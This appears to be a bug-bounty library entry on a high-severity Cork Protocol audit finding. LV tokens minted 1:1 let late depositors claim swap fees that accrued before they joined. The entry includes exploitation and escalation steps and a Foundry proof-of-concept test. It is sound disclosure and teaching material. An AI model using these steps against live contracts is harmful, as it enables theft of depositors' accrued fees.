# LV token holders receive proportional fees, when they shouldn't

Cork's LV vault mints LV 1:1 with RA and splits UniV2 LP pro-rata, so a late depositor captures the same accrued swap fees as a long-term depositor.

- Payout: Audit contest
- Severity: high
- Program: Cork Protocol
- Found by: dimulski
- Disclosed: 2024-08-22
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-08-cork-protocol-judging/issues/106
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-08-cork-protocol%3AH-3
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** Vault LV token / UniV2 LP fee distribution
**Root cause:** LV tokens are minted 1:1 with RA deposits and the protocol's UniV2 LP shares are split pro-rata across all LV holders at redemption, with no per-user accounting of when LV was minted or fees accrued.
**Steps:**
1. Alice calls `moduleCore.depositLv(id, 1e18)` then `requestRedemption(id, 1e18)`.
2. Fees accrue to the UniV2 pair (simulated by minting 1e18 WETH to the pair).
3. Bob calls `depositLv(id, 1e18)` and `requestRedemption(id, 1e18)` after fees accrued.
4. Skip 1100s so CT/DS expire.
5. Alice calls `redeemExpiredLv(id, alice, 1e18)`; Bob calls `redeemExpiredLv(id, bob, 1e18)`.
6. Assert `WETH.balanceOf(alice) == WETH.balanceOf(bob)` — both receive 1.4999e18 despite Bob depositing after fees.
**How found:** Researcher read the docs claiming LV holders accrue protocol fees, then traced `depositLv`/`requestRedemption`/`redeemExpiredLv` and noticed no timestamp or per-user reward accounting — LV is minted 1:1 with RA and LP shares are split pro-rata at redemption regardless of holding duration.
**Exploitation:** Attacker waits until substantial swap fees accumulate in the RA:CT UniV2 pair (or across multiple DS issuances), deposits RA to mint LV at 1:1, immediately requests redemption, and after CT/DS expiry redeems LV for a pro-rata share of all accumulated LP value — capturing fees for swaps they never provided liquidity for.
**Escalation:** Fees from multiple DS/CT issuance rounds are pooled into the same LV, so waiting across rounds amplifies the captured share; attacker can also use `redeemEarly()` to dilute the exchange rate back toward 1:1.
**Insight:** In vault/share designs where the underlying LP value grows over time, check whether shares are minted at a fixed 1:1 rate with the deposit asset instead of a value-based exchange rate — if so, late depositors dilute earlier holders' accrued yield.

## Proof of concept (copied exactly from the original report)

**POC 1 test: late depositor gets equal fees**

```
function test_IncorrectFeeAccrural() public {
        vm.startPrank(alice);
        WETH.mint(alice, 1e18);
        WETH.approve(address(moduleCore), type(uint256).max);
        moduleCore.depositLv(id, 1e18);
        Asset(lvAddress).approve(address(moduleCore), type(uint256).max);
        moduleCore.requestRedemption(id, 1e18);
        vm.stopPrank();

        /// @notice add 1e18 WETH to the amm pair, imagine this is generated from fees
        IUniswapV2Pair univ2Pair = flashSwapRouter.getUniV2pair(id, 1);
        WETH.mint(address(univ2Pair), 1e18);

        vm.startPrank(bob);
        WETH.mint(bob, 1e18);
        WETH.approve(address(moduleCore), type(uint256).max);
        moduleCore.depositLv(id, 1e18);
        Asset(lvAddress).approve(address(moduleCore), type(uint256).max);
        moduleCore.requestRedemption(id, 1e18);
        vm.stopPrank();

        /// @notice skip 1100 seconds so the CT and DS tokens expire
        skip(1100);

        vm.startPrank(alice);
        console2.log("WETH balance of alice before she redeems: ", WETH.balanceOf(alice));
        moduleCore.redeemExpiredLv(id, alice, 1e18);
        console2.log("WETH balance of alice after she has redeemed: ", WETH.balanceOf(alice));
        vm.stopPrank();

        vm.startPrank(bob);
        console2.log("WETH balance of bob before he redeems: ", WETH.balanceOf(bob));
        moduleCore.redeemExpiredLv(id, bob, 1e18);
        console2.log("WETH balance of bob after he has redeemed: ", WETH.balanceOf(bob));
        assertEq(WETH.balanceOf(alice), WETH.balanceOf(bob));
        vm.stopPrank();
    }
```

